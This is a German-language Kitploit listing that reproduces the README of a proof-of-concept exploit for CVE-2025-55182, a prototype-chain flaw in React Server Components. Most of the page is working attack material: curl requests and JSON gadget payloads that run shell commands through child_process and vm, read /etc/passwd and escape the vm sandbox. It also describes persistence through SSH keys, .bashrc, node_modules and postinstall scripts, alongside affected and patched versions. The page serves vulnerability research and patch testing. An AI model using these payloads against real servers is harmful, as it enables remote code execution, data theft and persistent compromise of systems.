Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-CVE-2025-55182-poc — Dieser POC demonstriert CVE-2025-55182 anhand des tatsächlich verwundbaren Codes von `react-server-dom-webpack@19.0.0`. | Kitploit
Tools/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Dieser POC demonstriert CVE-2025-55182 anhand des tatsächlich verwundbaren Codes von `[email protected]`.

Repository anzeigen
12vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 - Prototype-Chain-Schwachstelle in React Server Components

Dieser POC demonstriert CVE-2025-55182 anhand des tatsächlich anfälligen Codes von [email protected].

CVE-2025-55182 Notfall-Fix-Leitfaden: Vollständige Analyse & Maßnahmen für die Next.js/React-RSC-Schwachstelle (CVSS 10.0)

Dieses Repository ist ein Fork von https://github.com/ejpir/CVE-2025-55182-poc und wurde noch nicht verifiziert! Bitte seien Sie vorsichtig und prüfen Sie sorgfältig!

Schnellstart

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Erwartete Ausgabe

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM-Skripte

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

Hinweis: Die module-Exploits sind hypothetisch. Das eingebaute module wird in Produktions-Apps selten gebündelt. Sie demonstrieren einen theoretischen Angriffspfad, wenn nur fs + module verfügbar sind (kein vm/child_process). In der Praxis haben Apps mit fs normalerweise auch child_process über Abhängigkeiten wie sharp, puppeteer oder execa.

Einzelne Gadgets testen

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Wichtige Dateien

Server

DateiPortBeschreibung
src/server-realistic.js3002Hauptserver - simuliert ein Webpack-Bundle mit gängigen Modulen (fs, vm, child_process)
src/server.js3002Legacy-Server (verwendet direktes require)
src/server-module-test.js3003Server mit module + fs (für Forschung)

Exploit-Skripte

DateiBeschreibung
exploit-rce-v4.jsPrimärer RCE über vm#runInThisContext
exploit-all-gadgets.jsTestet alle RCE-Gadgets (vm, child_process, fs)
exploit-module-load.jsZwei-Schritte-RCE über fs + module#_load
exploit-indirect-rce.jsZwei-Schritte-RCE mit Erstellung einer Beweisdatei
exploit-persistence.jsPersistenzangriffe (SSH-Schlüssel, .bashrc)
exploit-research.jsPrototype-Chain-Forschung

So funktioniert server-realistic.js

Simuliert ein echtes Webpack-Bundle, bei dem Apps über Abhängigkeiten häufig gefährliche Module bündeln:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

Die Funktion __webpack_require__ lädt Module nur aus BUNDLED_MODULES und simuliert damit das reale Webpack-Verhalten.

Die Schwachstelle

Grundursache

In requireModule() wird auf Exporte über die Klammernotation ohne hasOwnProperty-Prüfung zugegriffen:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Angriffsvektor

  1. Senden Sie $ACTION_REF_0 mit gebundenen Aktions-Metadaten
  2. id: 'vm#runInThisContext' lädt das vm-Modul und greift auf den Export runInThisContext zu
  3. Das bound-Array wird zu Argumenten der Funktion
  4. Wenn die Aktion aufgerufen wird, führt runInThisContext(CODE) beliebigen Code aus

Alle verifizierten RCE-Gadgets

GadgetStatusBeschreibung
vm#runInThisContext✓Beliebigen JS-Code im aktuellen Kontext ausführen
vm#runInNewContext✓In einer „Sandbox“ ausführen (leicht zu umgehen)
child_process#execSync✓Direkte Ausführung von Shell-Befehlen
child_process#execFileSync✓Binärdateien ausführen
child_process#spawnSync✓Prozess starten (gibt Objekt zurück)
module#_load✓JS-Datei laden und ausführen (2 Schritte mit fs)
fs#readFileSync✓Beliebige Dateien lesen
fs#writeFileSync✓Beliebige Dateien schreiben

Beispiele für Gadget-Payloads

Shell-Befehl ausführen (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Sensible Dateien lesen:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Dateien auf die Festplatte schreiben:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Beliebigen JavaScript-Code ausführen:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Sandbox-Escape (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Alternative Angriffspfade

Brauchen Sie vm oder child_process?

Für direkten RCE: Ja, Sie benötigen eines von:

  • vm-Modul (runInThisContext, runInNewContext)
  • child_process-Modul (execSync, execFileSync, spawnSync)

Für indirekten RCE (nur fs): Nein! Mit nur fs können Sie:

  • In ~/.ssh/authorized_keys schreiben → SSH-Zugriff
  • An ~/.bashrc anhängen → Codeausführung beim nächsten Login
  • node_modules/* überschreiben → RCE beim Neustart der App
  • Das Postinstall-Skript in package.json ändern → RCE bei der nächsten npm-Installation

Hypothetisch: Zwei-Schritte-RCE mit module#_load

Hinweis: Dies ist hypothetisch. Das eingebaute module wird in Produktion selten gebündelt.

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

Vergleichsergebnisse

VersionAngriffErgebnis
React 19.0.0vm#runInThisContext✓ RCE erreicht
React 19.2.1vm#runInThisContext✗ Blockiert

Testen der gepatchten Version

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Anfällige npm-Pakete

Siehe VULNERABLE-PACKAGES.md für Untersuchungen zu beliebten npm-Paketen, die gefährliche Module enthalten:

ModulWöchentliche DownloadsBeliebte Pakete
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Betroffene Versionen

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Behobene Versionen

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Tool herunterladen